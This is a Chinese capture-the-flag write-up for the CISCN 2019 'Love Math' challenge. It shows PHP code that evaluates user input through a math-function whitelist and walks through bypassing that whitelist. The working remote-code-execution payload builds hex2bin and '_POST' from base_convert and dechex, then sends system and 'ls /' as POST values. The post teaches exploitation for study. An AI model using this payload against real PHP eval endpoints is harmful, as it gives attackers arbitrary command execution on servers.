[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

思路就是通过表达式实现任意代码执行。

表达式中不能有以下特殊符号:

' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'。

正则表达式 /[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/ 的含义:

  • [a-zA-Z_\x7f-\xff]:匹配第一个字符,必须是字母(大小写)、下划线或 ASCII 码在 127-255 之间的字符(扩展 ASCII 字符)

  • [a-zA-Z_0-9\x7f-\xff]*:匹配后续字符,可以是字母、数字、下划线或扩展 ASCII 字符,*表示可以有 0 个或多个

测试了一下,匹配到的是以非数字开头的单词。也就是说这道题限制使用的所有函数必须在白名单中:

'abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'

方向大概就是利用调用这些函数拼凑出任意文件读取代码。

有点像之前做的一道无参RCE的题目,利用自增绕过,但是这里禁用了[ ]符号如何截取单个字符?

测试了一下利用花括号好像也可以。 

目标是执行eval($_POST{0}($_POST{1}))

首先需要构造出$abs = '_POST',然后$$abs{0}($$abs{1})

$abs=0/0;$acos=$abs._;$acosh=$acos{0};$acosh++;$sin=$acosh;$sin++;$asinh=$sin;$asinh++;$asinh++;$asinh++;$atan2=$asinh;$atan2++;$atan=_.$sin.$acosh.$asinh.$atan2;$\$atan{0}($\$atan{1})

太长了......只能想想其他办法了。

看了别人的解法。利用hex2bin()和base_convert():

hex2bin()

将十六进制字符串转换为二进制字符串。一位十六进制的二进制字符串是原始字节序列(0-255 的数值),但当这些字节的值落在 ASCII 可打印范围内(0x20-0x7E)时,解释器 / 终端会自动将其显示为对应的 ASCII 字符。

base_convert()

string base_convert(string $num, int $from_base, int $to_base)

$num:需要转换的数字字符串(必须是 $from_base 进制下的有效数字)。

$from_base:原始数字的进制(范围:2 ~ 36)。

$to_base:目标进制(范围:2 ~ 36)。

能够进行36进制内的自由转换。

利用hex2bin()转换十六进制字符串"5f504f5354"就能得到我们需要的_POST字符。但是由于该函数并不在白名单内,我们可以利用base_convert()转换十进制字符串"37907361743"转换成36进制字符串得到hex2bin,因为"hex2bin"中只包含0-10和a-z范围内的字符,正好就是36进制数的格式。另外由于引号被禁用,我们无法直接使用hex2bin('5f504f5354'),因此还需要利用dechex(409369269076)得到5f504f5354。

?c=$pi=base_convert(37907361743,10,36)(dechex(409369269076));$\$pi{0}($\$pi{1})

POST

0=system&1=ls /

那我们为什么不直接用base_convert()函数得到post呢

?c=$pi=base_convert(1198541,10,36);$_$pi{0}($_$pi{1})

哦对不行的,下划线会被正则匹配到,导致_.base_convert一整个被视为一个函数。

另外附一张图各数制解释:

总结一下:这道题中命令执行限制了只能使用给定的数学函数,关键在于hex2bin函数能得到字符串以及hex2bin是36进制数格式,导致了木马注入。一开始使用了自增绕过的方法,但是没考虑到长度问题,另外自增绕过一般使用于所有字母被禁用的场景,更加复杂。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值